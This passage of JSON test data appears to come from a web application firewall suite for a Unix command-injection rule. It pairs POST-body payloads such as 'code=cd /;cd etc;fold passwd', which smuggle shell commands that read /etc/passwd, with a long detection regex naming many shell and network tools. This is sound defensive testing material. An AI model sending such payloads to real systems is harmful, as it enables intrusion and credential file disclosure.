:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "5Y3V6UZT" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cd /;cd etc;bridge -b passwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\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r|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "6BIVX1QB" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cd /;cd etc;fold passwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m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x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|